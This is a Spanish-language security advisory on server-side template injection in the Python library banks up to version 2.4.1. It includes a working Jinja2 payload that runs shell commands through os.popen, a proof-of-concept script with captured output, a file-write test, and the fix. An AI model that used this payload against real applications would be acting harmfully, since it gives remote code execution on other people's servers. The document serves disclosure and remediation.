Resumen

La librería banks <= 2.4.1 utiliza jinja2.Environment() sin sandboxing para renderizar plantillas de prompts. Las aplicaciones que pasan cadenas suministradas por el usuario como argumento de plantilla a Prompt() son vulnerables a Server-Side Template Injection (SSTI), lo que puede llevar a Remote Code Execution (RCE) en el sistema host.

Esta es una vulnerabilidad en cómo banks inicializa su entorno Jinja2, no en Jinja2 en sí mismo.

Código Vulnerable

src/banks/env.py: el entorno global de Jinja2 se crea sin sandboxing:

python
env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Escenario de Ataque

Una aplicación que almacena plantillas de prompts en una base de datos, las acepta vía API, o las carga desde un archivo de configuración suministrado por el usuario y las pasa a Prompt() es vulnerable. Por ejemplo:

python
# Input controlado por usuario llega a Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Ejecuta comando arbitrario en el host

Prueba de Concepto

Configuración:

bash
pip install banks==2.4.1

Script PoC:

python
from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Salida confirmada:

code
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

Prueba de escritura de archivo:

python
from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
bash
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

Impacto

Las aplicaciones que permiten a usuarios finales suministrar o personalizar plantillas de prompts están en riesgo de Remote Code Execution completo, incluyendo ejecución de comandos arbitrarios, exfiltración de datos y compromiso del servidor.

Solución

Corregido en banks 2.4.2 (PR #74) cambiando a jinja2.sandbox.SandboxedEnvironment, que bloquea la cadena de traversal de atributos dunder en la que se basa este exploit.

Los desarrolladores en banks <= 2.4.1 deben actualizar a 2.4.2 y evitar pasar input de usuario no confiable como argumento de plantilla a Prompt().

Recursos

  • Corrección: https://github.com/masci/banks/pull/74
  • CVE-2024-41950 (Haystack: causa raíz idéntica, CVSS 7.5)
  • CVE-2025-25362 (spacy-llm: causa raíz idéntica)
  • CWE-1336: Improper Neutralization of Special Elements in a Template Enginea.